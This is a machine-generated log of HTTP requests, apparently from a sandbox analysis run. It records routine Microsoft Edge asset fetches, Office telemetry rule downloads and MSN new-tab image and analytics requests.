Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=27F5C03F1FAA650B38E3D5021EB364FD&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=e7ff4125ed6e4850f1c9dc41cb1d05ba HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732138119238&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=27F5C03F1FAA650B38E3D5021EB364FD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=13A94585ddd6408dfef71121732133150; XID=13A94585ddd6408dfef71121732133150
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732138119238&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=eecc922ded064b33aac1b2e0c7847c2c&activityId=eecc922ded064b33aac1b2e0c7847c2c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2138C86C89784A28B6BCD8845DB9A64F&MUID=27F5C03F1FAA650B38E3D5021EB364FD HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=27F5C03F1FAA650B38E3D5021EB364FD&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=b3e94f86ed1d4e15f6fe2c2726e458c7 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
